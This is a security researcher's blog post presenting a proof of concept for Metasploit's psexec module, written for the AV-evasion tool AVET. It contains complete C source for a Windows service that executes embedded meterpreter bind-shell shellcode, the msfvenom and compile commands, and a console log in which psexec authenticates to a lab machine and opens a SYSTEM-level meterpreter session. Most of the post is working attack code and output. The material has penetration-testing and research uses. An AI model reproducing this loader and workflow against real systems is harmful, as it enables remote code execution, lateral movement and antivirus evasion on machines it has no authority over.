Lately I made some research about metasploit’s psexec module and how to write your own service executable. This will be integrated into AVET within the next weeks.
The PoC is simple (download: https://github.com/govolution/avepoc/blob/master/psexecservice.c):
// compile:
// wine gcc -m32 psexecservice.c
#include <windows.h>
#include <stdio.h>
#define SLEEP_TIME 5000
#define LOGFILE "C:\\status.txt"
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
int InitService();
// some shellcode
//# msfvenom -p windows/meterpreter/bind_tcp lport=8443 -f c -a x86 --platform Windows
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a"
"\x02\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x20\xfb\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x85\xc0\x75"
"\x58\x57\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
"\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04"
"\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x2d\x8b"
"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x07\x01\xc3\x29\xc6\x75\xe9\xc3";
void exec_shellcode(unsigned char *shellcode)
{
int (*funct)();
funct = (int (*)()) shellcode;
(int)(*funct)();
}
int WriteToLog(char* str)
{
FILE* log;
log = fopen(LOGFILE, "a+");
if (log == NULL)
return -1;
fprintf(log, "%s\n", str);
fclose(log);
return 0;
}
int main()
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "MemoryStatus";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
// Start the control dispatcher thread for our service
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
void ServiceMain(int argc, char** argv)
{
int error;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler(
"SomeService",
(LPHANDLER_FUNCTION)ControlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0)
{
// Registering Control Handler failed
return;
}
// Initialize Service
error = InitService();
if (error)
{
// Initialization failed
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
// We report the running status to SCM.
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
WriteToLog("start shellcode\n");
exec_shellcode(buf);
WriteToLog("shellcode executed\n");
// The worker loop of a service
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
// do nothing
Sleep(SLEEP_TIME);
}
return;
}
// Service initialization
int InitService()
{
int result;
result = WriteToLog("start service");
return(result);
}
// Control handler function
void ControlHandler(DWORD request)
{
switch(request)
{
case SERVICE_CONTROL_STOP:
//WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
WriteToLog("stop service");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
default:
break;
}
// Report current status
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
Compile the code with:
wine gcc -m32 psexecservice.c
I use TDM GCC with wine: https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/
The shellcode was produced with:
msfvenom -p windows/meterpreter/bind_tcp lport=8443 -f c -a x86 --platform Windows
To execute it with metasploit start msfconsole, then:
msf exploit(psexec) > use exploit/windows/smb/psexec msf exploit(psexec) > set EXE::custom /root/tools/avepoc/a.exe EXE::custom => /root/tools/avepoc/a.exe msf exploit(psexec) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(psexec) > set rhost 192.168.116.183 rhost => 192.168.116.183 msf exploit(psexec) > set smbuser dax smbuser => dax msf exploit(psexec) > set smbpass test123 smbpass => test123 msf exploit(psexec) > set lport 8443 lport => 8443 msf exploit(psexec) > run [*] 192.168.116.183:445 - Connecting to the server... [*] Started bind handler [*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'... [*] Sending stage (957487 bytes) to 192.168.116.183 [*] 192.168.116.183:445 - Selecting native target [*] 192.168.116.183:445 - Uploading payload... [*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored! [*] 192.168.116.183:445 - Created \mzrCIOVg.exe... [+] 192.168.116.183:445 - Service started successfully... [*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe... [-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0) [*] Exploit completed, but no session was created. msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200 msf exploit(psexec) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183) msf exploit(psexec) > sessions -i 4 [*] Starting interaction with 4... meterpreter > sysinfo Computer : DAX-RYMZ48Z3EYO OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : de_DE Domain : ARBEITSGRUPPE Logged On Users : 2 Meterpreter : x86/windows
Related links:
https://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified
http://rmn-explores.blogspot.de/2010/09/windows-service-using-c.html
danielsauder 
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